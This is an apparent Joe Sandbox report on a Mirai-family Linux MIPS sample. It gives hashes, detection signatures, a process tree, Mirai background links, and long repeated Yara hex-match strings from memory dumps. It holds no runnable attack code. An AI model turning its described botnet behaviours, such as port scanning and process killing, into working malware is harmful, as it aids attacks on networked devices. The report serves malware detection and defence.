Edit tour

Linux Analysis Report
belks.mips.elf

Overview

General Information

Sample name:	belks.mips.elf
Analysis ID:	1544884
MD5:	136dd80aed610d45bbe9449a770b1571
SHA1:	dbcf3f00cb344527c39d990f27d3fee563630a75
SHA256:	b08b58acb44d6d8fd3c188b2218e17d62b9a13bef589a728beab257a0a07064d
Tags:	belkselfuser-NDA0E
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544884
Start date and time:	2024-10-29 20:51:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	belks.mips.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: belks.mips.elf

Runtime Messages

Command:	/tmp/belks.mips.elf
PID:	5436
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Cult
Standard Error:

Process Tree

system is lnxubuntu20

belks.mips.elf (PID: 5436, Parent: 5358, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/belks.mips.elf

belks.mips.elf New Fork (PID: 5438, Parent: 5436)

belks.mips.elf New Fork (PID: 5440, Parent: 5436)

belks.mips.elf New Fork (PID: 5442, Parent: 5436)

belks.mips.elf New Fork (PID: 5444, Parent: 5442)

belks.mips.elf New Fork (PID: 5452, Parent: 5442)

belks.mips.elf New Fork (PID: 5453, Parent: 5442)

belks.mips.elf New Fork (PID: 5455, Parent: 5442)

belks.mips.elf New Fork (PID: 5458, Parent: 5442)

belks.mips.elf New Fork (PID: 5460, Parent: 5442)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
belks.mips.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
belks.mips.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
belks.mips.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5458.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5458.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5458.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5460.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5460.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5460.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5452.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5452.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5452.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5440.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5440.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5440.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5444.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5444.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5444.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5453.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5453.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5453.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5436.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5436.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
